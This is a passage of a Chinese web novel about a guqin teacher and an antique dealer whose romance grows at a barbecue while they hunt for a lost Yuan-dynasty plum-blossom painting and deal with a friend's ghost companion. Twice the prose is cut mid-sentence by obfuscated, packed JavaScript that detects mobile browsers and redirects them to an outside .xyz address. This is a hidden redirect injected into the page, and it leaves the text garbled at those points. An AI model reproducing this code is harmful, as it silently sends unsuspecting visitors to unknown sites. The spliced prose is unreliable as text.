石桌旁聚着人,两名对弈者,一个举棋子不定,一个抓耳挠腮,旁观者观棋不语。 “觐灵,家里有木炭吗?搞个烧烤会,我出啤酒。” 刘峥兴致勃勃,见觐灵过来倒水,连忙问他。 此人是古琴培训班的教师,四十来岁,为人风趣,很有人缘。 “上回用完了。” 觐灵回答。 “烧烤啦,大家准备掏银子了,刘峥说他付酒钱!” “我这就回家搬烤架!” “我想吃鸡翅。” 众人听说要烧烤,纷纷表示赞同。 有的回家拿烤架,有的去购买食材,一哄而散,一眨眼功夫,就只剩觐灵与林老两人。 林老是当地知名的古琴演奏家,已经快八十岁了,人很亲和,觐灵及小团体里的其他人都很敬重他。 林老拄着拐杖在庭院里闲逛,他倒也想帮点忙,但是这些晚辈不让他干活。 觐灵独自在厨房忙碌,准备调料和餐具。 幸好生活中还有这么一群热情的琴友,否则觐灵的人生将极其孤独。 他不擅于主动结交人,身边又没有亲人,最亲的父亲已经去世,与他有血缘关系的母亲和哥哥形同陌生人。 有一年觐灵生病,在家病得实在沉重,连下床的力气都没有,林老正好登门拜访,见他患病,急忙唤人将他送医。 这些琴友不知道他的取向,也不爱刺探别人的隐私,也是因此,觐灵与他们相处总是很愉快。 太阳偏西,大伙陆续归来,有提木炭的,有提食材的,有扛啤酒的,有抬烤炉的,聚集在一起,眉开眼笑。 洗牛排、串羊肉、剁蒜头、扇碳火,各忙各的。 刘峥负责烧烤食物,他的动作相当娴熟,仿佛是一位烧烤师傅。 夜幕降临,院子灯火点起,众人围在一起,喝酒吃烧烤,有人提议玩麻将,竟真得搬来一张麻将桌,在院子里搓麻将。 觐灵坐在椅子上,慢悠悠吃烧烤,赌鬼们在一旁喊:觐灵,来两串香肠,来根玉米。 觐灵回:“自己过来拿。” 看见院外有车灯亮起,觐灵放下烤串,朝院门走去,外出一看,是卿甫的车。卿甫下车,见到院子里都是人,又是烧烤,又是搓麻将,还以为走错地方。 “朱馆主,今晚好热闹。” 卿甫扫视屋中人,除去朱馆主外,其余人都很陌生。 “吃烧烤吗?”觐灵笑语。 “觐灵,这位朋友是?” “我姓赵,朋友多喊我老赵,我猜你们是朱馆主的琴友吧?” “都是。” “你来得正是时候,来,喝酒喝酒。” 刘峥自来熟,坐在石桌前打招呼,桌上摆着一大盘烤串,还有几杯啤酒。 众人见觐灵待赵老板态度亲切,猜测他也是觐灵的朋友,都好奇以前怎么从来没见过。 庭院一处灯火阑珊的角落,有张木桌,两张木凳,那里较偏僻,也较安静。 从觐灵手中接过盘子,盘中摆着新出炉的烤串,食物的香气四溢,卿甫将盘子搁放在小木桌上,坐下来,倒了两杯啤酒。 “你能喝酒吗?” “能喝。” “身体怎样?” “已经好了。” 觐灵在卿甫对面坐下,两人共用一张桌子。 将一杯啤酒放在觐灵跟前,借着有限的灯光,卿甫注视对方的脸庞,两人的目光交汇在一起,很快又移开。 “赵先生今晚怎么有空?” “我本该早些来看你,这几天仲敏外出进货,店里生意比较忙。” “我挺好。” “似乎瘦了。” 朱馆主的身形看着比往时消瘦,容貌也显得憔悴,见到他那刻,卿甫便留意到了,心里挺自责。 应该经常过来探看他,而不是只通过电话联系。 “赵先生,烤肉串味道不错,尝尝。” 觐灵拿起一根烤肉串递给卿甫,卿甫接过,咬了一口,肥而不腻,烤得恰到好处,很是美味。 两人就这么坐在一起,喝啤酒,吃着烧烤,不再进行交谈。 以往两人相处时氛围很融洽,此时似乎双方都感到局促,不知道该说点什么。 “你们两个原来躲在这里,觐灵,叫你朋友过来玩一圈。” 一个身影突然出现,卿甫抬头,认出是适才在麻将桌上的牌友之一。 “我不会打麻将。” “觐灵你来吗?” “不去了,我喝酒。” 那人失望离开,去邀其他人。 “你经常和他们玩牌吗?” 卿甫很难想象举止优雅的朱馆主坐在麻将桌前,在香烟的烟雾缭绕之中和人打牌的情景。 “很少。” 觐灵听着庭院里的话语声,环视四周,说道:“这院子已经很久没有这么热闹过了。” 在多年前,朱馆主有家人,可能还有恋人,那位李则成似乎和朱馆主有过一段故事。 “朱馆主也会感到孤独吗?” “当然,人是群居动物。” “那朱馆主先前不该拒绝我上门拜访,人在患病时最需要他人关怀。” 好几次联系朱馆主,提出为他送餐、送食材都遭拒绝,拒绝的言语并不冷漠,但拒绝的态度却很坚定。 “我习惯自己照顾自己,每个人都有自己的事要忙。” 觐灵低头喝着酒,双手捧住酒杯,指腹感知冰冻过的酒液传递的寒意。 “朱馆主,不想试着改变一下吗?” “比如?” “称呼不要那么生分。” 卿甫眉眼有笑意,他拿起喝空的酒杯,为自己倒了杯酒,才继续说道:“我们认识时日不短,应该互称名字。” “就是,我们都不喊他朱馆主。” 旁边传来说话声,没想到居然有人在“偷听”。 有个年轻人端着一只盘子过来,盘子上是刚烤好的食物,“投喂”给觐灵和他的朋友,正巧听见两人的对话。 年轻人藏不住话,随口就说出来了。 “我累了,等会想吃什么,你们自己烤。” “小武辛苦了。” 被觐灵唤作“小武”的年轻人放下盘子,转身就离开。 两人的对话中断,不再继续,觐灵收拾桌面上的烤签,卿甫去拿啤酒。 不多久,两人再次坐回桌前,觐灵已经问:“罗先生这些时日人怎么样?” “我看着挺好,他不是外出进货,和孟兄没在一起。” “或许,应该给孟兄寻个住处。” 为觐灵的杯子倒满啤酒,为将杯子摆在他面前,卿甫自然而然道:“觐灵,我有一件事想问你。” 觐灵的身影明显一顿,他抬起头来看着赵卿甫,回道:“你说。” 对方招了招手,似乎觐灵靠近,觐灵见到他嘴角的笑意,不过还是将身子靠过去。 卿甫贴着觐灵耳边,低声说:“你说过暗香茶馆的‘通道’通往古代茶馆,茶客也是古人。我在想,那地方会不会也是一处鬼域?” “如果是鬼域,会有鬼吏守住‘通道’,活人无法进入。” 觐灵的声音压得很低,他靠近卿甫时,感知对方身上的气息,听见平稳的呼吸声。 “赵先……你是想将孟兄安置在那里吗?” “卿甫,我名字。” 对上对方的笑容,眼眸明亮,觐灵笑语:“赵卿甫,我知道你名字。” 两人忽然都不再说话,只是互相看着对方。 “我……” 过了好一会儿,觐灵才又重新开口,他说道:“我过去看看之前的串是不是都烤完了,我再去串几根,还有不少食材。” 他没法离开,手臂被卿甫抓住,没用大力气,只是轻轻扣住手腕。 “觐灵,还还……还有蘑菇吗?” 刘铮站在一旁,突然口吃。 这地方比较昏暗,刘铮应该是看见了他们两人一个拉住另一个的手,意识到自己来得不是时候。 “在厨房,我去拿。” 卿甫轻轻松开手,觐灵转身离去,他显得很平静。 灯火阑珊之处,刘铮即便看见,也无法猜测两人间发生了什么事,或许认为是争执,或许敏锐察觉双方之间存在纠葛,至于是某种纠葛,只是一眼也无法揣摩清楚。 卿甫将桌子清理,把两块盘子叠放,拿着它们回到院子中央,牌桌上十分热闹,烧烤架上仍旧烤着食物。 觐灵正在厨房清洗蘑菇,卿甫走进去,在旁边帮忙,他拿起竹签,将蘑菇串在竹签上。 只有水声,两人都没有交谈。 “哎呀,东西全烤焦了,炉子怎么没人看着。” “我就离开一会儿,我看看——没事,还能吃。” 外面传来林老与刘峥的交谈声,声音响亮。 蘑菇全部串好,卿甫用盘子装上,拿到外面来,放在一张大桌子上,桌上摆满各种串,有五花肉、鱿鱼、豆腐皮、玉米等等 “刘铮,再烤点吃的!” “等会。” 刘铮把串一根根摆在烤架上,单手摆串,另一只手拿着根鸡翅,不忘忙里偷闲啃一口。 “我来。” 卿甫替下刘铮,站在烧烤架上忙活。 他的注意力不全在烧烤上,时不时去看觐灵,觐灵就在他身旁,给调料碟添加调料。 “是会烤的,可以啊。” 刘铮凑过来看卿甫给烤串刷油,说了这么一句。 这人大大咧咧,也许早将先前见到的事置之脑后,也许挺在意,会和其他人提起。 卿甫不在乎自己被人传闲话,他只是担心觐灵会受到波及。 “刘先生做什么工作?” “他啊,专门骗小朋友。” “别听他胡说八道,我在老街开了家培训班,‘铮铮少儿古琴培训班’,这是我名片。” 刘铮看来是个合格的生意人,立即掏张名片塞给卿甫。 刚起哄的是麻将桌上的一位牌友,看得出来他跟刘铮的关系很好。 “赵先生长得一表人才,开的车也气派,做什么营生?” “做点小生意。” 卿甫将烤架上的烤串翻一面,突然涌出的浓烟使他咳嗽,被烟雾呛到了。 看见他被烟雾呛得咳嗽,觐灵默默倒了杯水,不过没有将它拿给卿甫。 此时两人各在一处。 没多久,觐灵就听见林老唤他,林老在大厅的茶几摆上棋盘,正缺对手。 卿甫始终在留意觐灵,他烤了不少食物,给赌鬼们送上一大盘烤串,又拿一小盘烤串前往大厅,分给林老与觐灵。 进入大厅后,卿甫再没出去,他坐在一旁看下棋。 林老围棋下得好,觐灵以往跟他下棋,输多赢少,这回才对弈至中局,林老就投子认输了,笑道:“你今日连胜我两局,势不可挡啊。” 觐灵微笑,说道: “难得赢林老。” 他熟练地将棋盘上的黑棋捡起来,放进棋盒。 林老看向卿甫,朝他招手:“我看这位后生会棋,要不要下一局?” “我不是林老对手,二位都是高手,围棋得旗鼓相当的人下才有趣味。” “你可别诓我,等会把我的大龙屠了。” 林老笑容可掬,将棋盘上的白子捡拾,很快棋盘上的棋子被清空。 一只沉甸甸的棋盒交到卿甫手中,看向手的主人正是觐灵,他仍是未说一句话,甚至没有眼神交流。 觐灵和卿甫易位,这次觐灵成为观棋者。 双方交手,林老瞧出卿甫的棋力不低,赞道:“这一手下得真好。” 两人都专注在棋局上,在棋盘上进行激烈厮杀,下得很精彩,时间不知不觉间溜走,等一局下完,外面早没有麻将声,烧烤架旁也不再有忙碌的身影。 卿甫抬手看表,已经是深夜。 “卿甫啊,有空到我家坐坐,陪我这老头子下下棋,觐灵经常来,他熟路。” 林老对弈时问过赵卿甫名姓,看得出来他很欣赏这位后生。 “有空一定登门叨唠。” 恭敬地站起身,和林老握手。 时候不早,众人尽兴都准备回家了,觐灵站在院中与大伙话别。 麻将桌被拆走,烤架被扛起,大伙跟主人家挥手道谢,如同被夜风卷去那般,很快就消失无踪了。 夜深寂静,院中狼藉,明月之下,只剩觐灵与卿甫两人。 “我帮你收拾一下庭院。” “夜黑不方便做事,我明日再打扫。” 两人这才对上话,觐灵的声音很平静。 卿甫知道,他该走了,又觉得有一些话必须说,还没等他开口,觐灵已和他擦身而过,进入大厅。 那一刹那,卿甫感到恐慌,他很少有这样的情绪,但那一刻这种感觉很真切。 “这棋下得复杂,一时真看不出胜负。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691857|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原来觐灵回屋察看棋盘,他还不知两人谁胜谁负。 “我输了,林老赢四目。” 快步走至觐灵身旁,卿甫笑语。 可能他自己都没发现,自从刘铮突然撞见他拉觐灵的手,直到现在他才第一次有笑容。 再次见到对方舒展的眉眼,觐灵似乎舒了口气,他点点头,低头收拾棋子。 卿甫帮忙,两人一个捡黑子,一个捡白子,有一次双方的手指碰触在一起,觐灵显得很紧张。 棋盘上的棋子全捡进棋盒,觐灵将棋盒摆正,听见卿甫说:“我得和你道歉。” 他轻轻摇头,低语:“不必这样。” “刘铮是个怎样的人?” “他这人性格外向,但不是喜欢说闲话的人,你……不必在意。” “我不在乎他说我闲话,我只怕是个爱声张的人添油加醋说出去,会使你为难。” 觐灵沉默不语。 “我……该回去了。” 卿甫转过身,朝门走去,他还没走远,听见觐灵喃喃自语:“是你使我为难。” “是吗。” 心脏似被扎了一下,很轻微,卿甫加快离去的脚步。 心烦虑乱,又走得匆促,没注意凌乱的地面,忽然被脚下的什么物品绊了一下,卿甫身子失去重心,向前倾倒,膝盖重重撞向地面,夏日的裤子单薄,地面又有沙砾,磕伤膝盖。 “小心!” 觐灵追出来,连忙搀住赵卿甫。 “伤哪里?” 见到卿甫表情痛苦,他因为担心,连声音都变了。 扶起赵卿甫,让他坐在地上,觐灵关心则乱,手臂环着对方的肩,并未意识到自己的举止很亲密。 “流血了。” 裤子颜色浅,膝盖渗出血迹。 觐灵跪下双膝,连忙卷卿甫的裤筒,要察看伤口。 “觐灵。” “嗯?” 觐灵抬起头,忽然被卿甫用力扯住衣领,那是一个吻,他被对方恶狠狠吻住。 绊卿甫脚的是一只装满空啤酒瓶的箱子,箱子倾倒,空瓶子滚得到处都是,两个人坐在昏暗的院子里,觐灵神色惊诧,卿甫面不改色。 “我牵你手时,当时想问你是不是有意疏离我。” 卿甫的嗓音温柔,他嘴角有淡淡笑意:“已经不用问你,我知道答案。” 放下裤筒,卿甫从地上站起,因为疼痛他皱了下眉头,言语温柔依旧:“你我应该有相同的感觉,只是你想将我推走。” “觐灵,可惜你不能如愿。” 卿甫伸出手,将觐灵从地上拉起,他的眉眼都带着笑意,神采奕奕。 没有否认,觐灵无言。 唇上还留有触感,留有对方的气息,觐灵受到很大的冲击,他需要慢慢平静下来。 卿甫拐着伤腿将觐灵拉进屋,两人身处灯光明亮的环境里,觐灵才似乎从恍惚中清醒过来,他对卿甫说:“家中有碘酒。” 声音冷静,看来他的情绪已经平复。 觐灵把碘酒和棉签递给卿甫,卿甫弯身给自己受伤的膝盖擦药水,只是皮肉伤,不碍事。 卿甫悠悠道:“这是踩油门的脚,看来我回不去了。” “你喝酒不能开车,我帮你叫辆出租车。” 觐灵记得今晚两人都喝了酒,卿甫喝酒不能开车。 “我睡沙发可以吗?” 卿甫拍了拍沙发,他正坐在上面,他说:“我一走动,膝盖就疼得厉害。” 其实并没有那么疼,这点小伤痛,卿甫完全能忍受,走路不成问题。 “可以,我拿件被子给你。” 觐灵回屋,没多久便拿来一条被子一个枕头出来。 接过来物品时,卿甫抬手摸向觐灵的脸庞,动作很缓慢,如果对方想躲,肯定能躲开,没有躲避。 “我一直想这么做,想摸摸你的脸,想亲你。” “我们认识不久。” 觐灵拉开卿甫的手,他的眼眸忧伤。 “在校庆碰到你时,我觉得很眼熟,似乎在某个被遗忘的时间里见过你。” 这句话使觐灵的身子一怔,他瞪大了眼睛。 “已经是凌晨,你很倦了,去睡吧。” “我回房间去,要帮你关灯吗?” 卿甫点下头,大厅的大灯被关掉,过道有盏小灯亮着,不至于陷入漆黑之中。 目送觐灵的身影离去,看见他关上了寝室的门。 早上,当卿甫醒来时,觐灵已经在收拾院子。 觐灵将石桌上的酒瓶捡起来,放进纸箱里,他听见脚步声回头,见卿甫正朝自己走来,行走的步伐很轻快,仿佛膝盖的伤口在一夜之间痊愈。 “好了?” 卿甫拿起一旁的扫帚,回说:“好了。” 两人一个拿纸箱拣空酒瓶,一个扫地,配合得很好,卿甫装满一大桶的垃圾,提着沉沉的垃圾桶到院外倒掉。 看不出一丁点腿脚不便的样子。 见卿甫提着塑料桶回来,觐灵说:“你去歇息,我来扫地。” 夏日早上,天气闷热,像是要下雨,觐灵怕热,额头上满是汗水。 “两个人干活快。” 卿甫继续打扫院子,想着帮他分担家务,让他能早些回屋休息。 将院子打扫干净,卿甫进屋,觐灵已经为他准备好茶水,卿甫坐下,边喝茶边吹着风扇。 觐灵去洗澡,夏日总是令他痛苦,何况在庭院里晒着太阳,忙了一早上。 等觐灵洗完澡出来,厅中不见卿甫的身影,他已经走了,大概是店里有什么急事,匆匆离去。 只是少了一人,宅院里空空荡荡,觐灵触摸卿甫坐过的地方,脸上的神情很温柔。 觐灵洗澡时,卿甫去了厨房,看见冰箱里的食材不多,他去开车去菜市场买菜。 每次到觐灵家,都会经过一处菜市场,菜市场离觐灵家很有段距离,觐灵不会开车,想来每次都是步行去买菜。 烈日炎炎,卿甫来到菜市场,购买一些新鲜食材。 来到觐灵家院外,刚停好车,就见觐灵探出头来,很惊讶:“你没回去?” “冰箱里没有新鲜蔬菜,我想这么闷热的天,你再走去菜市场,怕是要中暑了。” 从卿甫手中接过好几个袋子,觐灵问:“你留下来吃饭吗?” “我得去店里,下回。” 坐进车里,卿甫启动汽车,听见对方叮嘱:“卿甫,开车小心点。” 卿甫笑着挥手:“觐灵,明天见。” 高温湿热,闷得让人透不过气,似乎是要下雨了。 果然,午后便就下起大雨。 夏日的雨水,缓解了炎热,带来清爽,院子中的植物,受到雨水的滋润,舒坦地展开了叶子,蝉声消失,池中蛙声一片,这会是一个留下美好记忆的仲夏。 11. 第 11 章 “进货的单据。” 仲敏快速拉开旅行箱,从里边取出单据,很快又将箱子盖上,他脸上闪过一丝慌张。 就在他开箱的短暂时间,卿甫瞥见行李箱中有一件物品,和仲敏的衣物放在一起,只是一眼便意识到那是什么,那是孟兄依附的戏服。 卿甫没有做声,接过了对方递来的单据。 显然,这家伙为了和孟兄形影不离,所以特意将戏服随身携带。 仲敏在会客厅与小张、黄姐讲述他这一路的离奇遭遇,说他在某地的村民家供桌上见到一对花瓶,那家人说是祖上传来下的老物件。他仔细一瞅,确实是对民国年间的釉下彩花鸟瓶,还是名家之作,一问价钱果然不便宜,与那家人讨价还价一番才做成生意。 谁想这家人是骗子,摆给你看的是真品,交给你的是赝品,还仿得几乎一模一样。 卿甫在旁听,心知瞧出真假的恐怕不是仲敏,而是孟兄。 对民国时期的陶瓷器仲敏并无研究,他不擅长。 将仲敏唤到一旁,卿甫压低声音:“你将行李箱打开。” “打开干么?” “戏服在里边是吗?” 仲敏面无表情看着卿甫,回道:“是。” “朱馆主让你疏远,你倒是形影不离了。” “老赵,我觉得朱馆主的话不能尽信,我自己的身体要是出状况,我还能不知道吗?” 仲敏把行李箱拎来,这回大大方方打开箱子,将里边的戏服展示给卿甫看,他的手轻轻抚摸戏服,说道:“这一路,有他在可是帮了我不少忙。” 卿甫往椅子上一坐,目光一直落在在那件戏袍上:“他跟你说过滞留人间的原因吗?” “梓晴说他不知道自己为什么会成为孤魂野鬼,他说生前似有未了的心愿,但已经想不起来。” 说这句话时,仲敏压低了声音。 他将戏袍放回行李箱,动作轻柔,仿佛手中的不是织物,而是活生生的物品。 “阳光让他不舒服。” 看来鬼魂确实畏惧阳光。 卿甫看不见孟梓晴,对他具体什么样貌,又有着什么品性不知道。不过,人死后大抵会参与轮回,孟梓晴的鬼魂游荡百年,显然是有缘故。 “若是达成心愿后,会彻底消失吧?希望他迟些时日再忆起前尘往事。”仲敏喃喃自语。 仲敏这句话使卿甫意识到,恐怕这一人一鬼的关系不只是朋友那么简单。 “罗老板,客人找你。” 黄姐的声音从外头传来。 匆匆锁好行李箱,仲敏外出,他出去一看,不是什么顾客,而是平日一位交好,此人姓留,外号留六指。 留六生来左手有六根指头,后来做手术,切除多余的指头,不过外号已经被叫开,终身伴随。 这人喜欢收藏字画,算起来,是老罗头的徒弟。 “六指,带来什么好东西?”见留六指手中拿着一副画,仲敏将留六指邀往客厅。 “专门拿来给你看,上次我师父不是在找一幅吴镇《梅花图》吗?”留六指笑得神秘,想来他手中的东西大有文章。 卿甫听见外面的交谈声,连忙出来,他见到留六指手中拿着一幅画,画轴崭新,纸质白皙,显然是新画,问道:“六指,你那边有消息了?” 自从和仲敏合作做生意,罗家父子的老熟人,卿甫大多都认识。 “有。”留六指仍旧神秘兮兮。 留六指在茶几前坐下,示意仲敏清空桌面。 桌面一空,留六指才将携带来的画摆放在茶几上,缓缓展开。 仲敏已经留意到这张画是新画,对它没多大兴趣,直到画作完全展开,他脸上的表情才起变化。 “六指,这上面是画了梅花,除此之外,和吴镇的梅花图我没瞧出任何联系。从墨色看,还是前几天画的,而且画得相当幼稚。”仲敏一看这玩意,直觉是在路边摊十元一副买的。 “别急,看印章,你看画者摹绘的朱文印章,有‘梅花庵’一枚,鉴藏印‘墨林’一枚,‘朱氏秘宝’一枚。” 六指逐一指出,得意洋洋:“小罗,假中有真。” 留六指的话点醒仲敏,仲敏急忙拿起画作端详,他意识到这张极为拙劣的画作,肯定是临摹自另一幅画。 “‘梅花庵’确实是吴镇的印章。” 仲敏点头,不得不佩服六指敏锐又心细。 “‘朱氏秘宝’,是枚收藏印,这幅画临摹的摹本在流通过程中曾被朱姓之人收藏。”卿甫难掩激动之情。 留六指笑道:“我也觉得这副画绝不是凭空捏造,作画的人有摹本,原始摹本可能就是吴镇的真迹。” “只能是这么一回事,印章肯定是摹本原有的,作画的人没法生造。这人不仅没有绘画基础,我看文化程度也低,才会以手绘的方式模仿印章。” “六指,你从哪里买来这副画?”卿甫问得急切。 “我今天在路边小摊买的。” “哪里?” “老街有一个摆地摊的老头,我问过他,他说是他孙子照着一本老画刊上的图画的。” 六指的线索指向一本老画刊,老头的孙子使用的摹本是一张被刊印的图,而不是一副被人收藏的珍贵画作。 仲敏说:“老赵,你将朱馆主叫过来,让他看看这幅画。” “我通知他。”卿甫到一旁打电话。 “仲敏,你们说的这个朱馆主到底是什么人,怎么连我老师都在帮他找画。” 听见六指的问话,仲敏回道:“是我的恩人。” 正值午时,觐灵执伞过来,他仪貌清雅,身形修长,站在店外,引得过路人观看。 尤其他正露出笑容,那笑容很好看。 他与出来迎接的店主轻声交谈,看得出来他们关系很亲好。 觐灵收起伞,和卿甫一同进店。 一见到茶几上的梅花图,觐灵惊喜非常,指着画上的印章说:“我家中有几卷藏书,也盖有‘朱氏秘宝”,与这枚印章一模一样。” 觐灵没见过家传的吴镇《梅花图》,但是父亲描述过,画中的老梅枝干虬曲,枝头有梅花七八朵,这副图中的梅花,完全符合描述,再看画上有吴镇的印章“梅花庵”,有朱觐灵家的鉴藏印“朱氏秘宝”,这件仿品的原始摹本,几乎可以百分百断定,就是觐灵要找的那幅吴镇《梅花图》。 “留六子给了地址,他说那个摆摊老头,只会在傍晚出摊,我们晚些时候再过去。” 觐灵过来时,留六子因为有事已经离开了,两人没碰面。 “你一来,仲敏就躲开了。”卿甫看向店外,刚刚仲敏还在,此时却不见踪迹。 “他没有听从我的劝告是吗?” “没有,他如今与孟兄形影不离,两人似乎有着很深的交情。” “人鬼殊途,像他们这样情投意合确实不多见,我想罗先生与孟兄恐怕有些渊源。” “觐灵,人死为鬼,绝大多数鬼皆被鬼吏拘在鬼域里,那些滞留人间的鬼魂,大概生前都有遗恨吧?” “我曾听一位游魂说,是执念使得它们游荡于阴阳两界,直到有一天它们的执念完成或者消失,魂魄便就会消散,但如果执念既无法达成,也无法消解,游魂往往会转变为恶灵。” “不知道孟梓晴属于哪一类了。”卿甫沏茶、倒茶,他与觐灵交谈,言语一直很平静。 店中只有他们两人,小林被卿甫差遣去卖茶叶,黄姐今天正好请假,没过来。 觐灵端起茶杯品茶,过了一会才轻轻说:“他身上没有戾气,放下执念的话,大概就烟消云散了。” 烟消云散啊,也就是再不存在了。 傍晚时分,卿甫和觐灵前去老街找那位摆摊的老头,如留六指所言,老头果然在那地方出现了。 老头一听说这两人是之前的顾客介绍过来,很是困惑,他平时主要卖旧书,兼卖字画,旧书总是脏兮兮,字画也是印刷品质量较低劣,一般没有什么回头客。 “老先生,这副画听说是你孙子的画作,当时临摹的画刊还在不在?” 卿甫将画展示给老头看,唤起老人家的记忆。 “你们是要买那本画刊啊,我找找。” 老头在旧书摊上翻来覆去地找,嘴里念叨:“上次那个人要买,我没找着,我以为在家里,回家后,孙子跟我说,没在家被我拿走了。” “老先生,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691858|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将它卖给什么人了?” 觐灵蹲下身,询问老头。 老头连忙回道:“没卖,没卖。” 旧书摊上有许多本书,卿甫和觐灵便帮老头翻找。 卿甫和觐灵将一本本画刊察看,没找到想要的书,这时忽然听见老头欣喜的声音:“你们看看,是不是这本。” 这是一本残破的画刊,很薄且很小,纸张发黄,打开画刊,见到里边有图画和文字,文字是繁体字。 这本画刊保持状况很不好,印刷差,图片不清晰,从印刷风格看,应是民国时期的刊物。 觐灵捧着画刊一页页翻看,果然见到一张梅花图,上面写着:梅花图,相传为元代画家吴镇所绘。 除去这一行字外,再无其它文字说明。 册子本身就是残破的,没有封面,也遗失不少书页,所以既没有编者的名字,也没有出版社的名字。 老人说:“我孙子今年九岁,他喜欢画画,照着画册上的图画,我看画得挺好,就给它挂出去卖。挂了十几张,就卖掉一张。” 画技确实幼稚,是小孩子的画作。所以很难卖。 觐灵问:“老人家,你这本画刊是从哪里来的?” “记不清啰,我会去旧书市场批发书来卖,也经常有人看我老头子挣钱不容易,把家里不要的书给我。” 老头再没法提供任何线索了,线索在这里中断。 两人买下画刊,便就离开老街。 “民国时期,这幅画还曾现世,被刊印在画刊里,后来收藏界再不知道它的去向,有可能是流失去了海外,在海外私人藏家手中。” 卿甫做分析,他其实心里还有个念头,也就是这副画恐怕已经不存在了,它最后一次出现在民国时期,之后因为某种缘故被毁,是有可能毁于战火的。 回到家中,觐灵显得很失落,他手捧画册,指腹轻轻摩挲梅花图上的“朱氏秘宝”朱文印,购回这幅梅花图,是朱家祖孙三代人的心愿。 而今这份心愿,已经落空。 他知道像这样珍贵的名家之作,彻底销声匿迹,除非它已经被毁去,彻底不存在了。 “觐灵,可以让仲敏以此为摹本,为你绘一副梅花图,他本来学的就是国画,又擅模仿古人技法。” 仲敏在仿制古代字画方面颇有才能,就算不是吴镇的真迹,也能弥补些许遗憾吧。 “也好,留个念想,不知道罗先生愿不愿意?” “他肯定愿意。” 卿甫来到觐灵身旁,他握住对方的手,觐灵的身子倾向他,两人互相靠近,这是一个拥抱,安抚的拥抱。 早上,卿甫抵达古玩店,他来得比往时早,发现仲敏人已在店铺里,正在喂鱼,卿甫说他:“你昨日见朱馆主过来,人便避开吗?” 仲敏嘴很硬:“我干么躲他,我出去吃午饭。” 还说不是故意避开,谁吃顿午饭,从中午吃到傍晚。 “对了,老赵,你昨天是不是和朱馆主去老街找卖画的老头?怎样?” 听见仲敏问询,卿甫便将昨天去老街的经过和他讲述,还告知仲敏,觐灵想请他仿制吴镇的梅花图。 “朱馆主拜托我的事,我肯定帮他做好。” 一方面仲敏敬畏朱馆主,担心他“拆散”自己与孟梓晴,另一方面仲敏又很感谢朱馆主,毕竟朱馆主救过自己和孟梓晴。 “梓晴的绘画天赋比我高,他能助我。”仲敏想起孟梓晴,孟梓晴不仅擅长丹青,而且对古人字画颇有研究。 卿甫问:“要是由他来画,寻常人看不见吧?” “我的意思是说我和梓晴一起琢磨吴镇的技法,得他一些指点,他可是名师之徒。” “哪位名师?” “ 民国时期的大画家高逢,梓晴家殷实,他年少时便展露出绘画天赋,后来拜高逢为师,得到他的悉心指导。” 夜晚,卿甫离开店铺返回家,他走在人流稀少的街道上,朦朦胧胧的灯光下,他看到还有几个模糊、飘渺的身影,像水气一样,他知道那不是活人。 近来,时常能看到一些东西,虽然大多模糊不清。 他能看见,是因为与觐灵亲好,这段时日,两人的关系很亲密。 12. 第 12 章 仲敏在自己的寝室里仿制吴镇的梅花图,老罗头在书房看书,不时听到仲敏喃喃自语,像似在跟人讨论绘画,由于仲敏时常这样,老罗头不以为意,拄仗起身将房门关闭。 腿脚不便,老罗头大多数时间都在书房看书,或在大厅看电视,他经常不知道仲敏在忙些什么。 老罗头生育三个孩子,仲敏排行第二,深得老爹遗传,喜欢字画,爱好收藏,也最受老罗头喜爱。 平日里老罗头不大过问仲敏的私事,仲敏也不爱别人管他。 仿制古人画作,仿得好的人,能够做到以假乱真,仲敏就有这个本事。 他颇有造假的天赋,既能书也能画,而且对古代名家的作品了如指掌,但他瞧不上制作赝品的人,他有底线,不会拿假货去骗人。 仲敏不只是绘画技巧精湛,善于学习,他还掌握做旧的知识。 年少时,仲敏曾向人学习器物做旧的技法,不是为发财,只是调皮,他将一面桌屏做旧,拿去骗父亲老罗头说是明代桌屏,因为不学好,差点挨打。 身为朋友兼合伙人,卿甫熟知仲敏的特长,才会向觐灵推荐他。 “我看这梅花枝节虬曲、偃蹇,是株饱经风霜的老梅树。” 工作台上摊开一张宣纸,纸中绘下一株梅树,仲敏正手执毛笔对一旁的空气说话,就仿佛他身侧站了个人。 他身侧确实站着一只鬼魂,老罗头看不见,只有仲敏能看到。 “得有百年了吧,嗯?好几百年吗?要是这么说,估计都要成精了。” 仲敏边说边在枝头点缀桃花,他花下两朵,端详许久,似乎不甚满意,摇头说道:“总感觉形似,但还缺点‘意’。” “我知道,这张废了,再重绘一张,不求百分百像,但求有其风骨,得有吴镇的感觉才行。” 仲敏把画作揉掉,丢进垃圾桶里,他觉得真迹现在还不适合下笔,得再琢磨下吴镇的画 “梓晴,你也觉得物老会成怪吗?” 仲敏朝身侧微笑,将毛笔放入笔洗中清洗,挂上笔架。 “我瞧着吴镇笔下这株老梅树就快成精了,梓晴,树木化作精怪这种事也是有的吧?”拿起旧画刊上的吴镇梅花图端详,仲敏的声音带着笑意。 放下旧画刊,仲敏在桌上摊开一张空白宣纸,用镇纸压住宣纸两侧。 “哪有什么梅香,我从没在朱馆主身上闻到过香气,我下回仔细闻一闻。” 执笔作画,画好后,仍是感觉不满意,再次揉去,仲敏感到倦乏了,他放下画笔,准备去休息。 对着空气低喃,声音温和:“晚安,我要去睡了。” 夜正浓,仲敏和梓晴安然睡去。 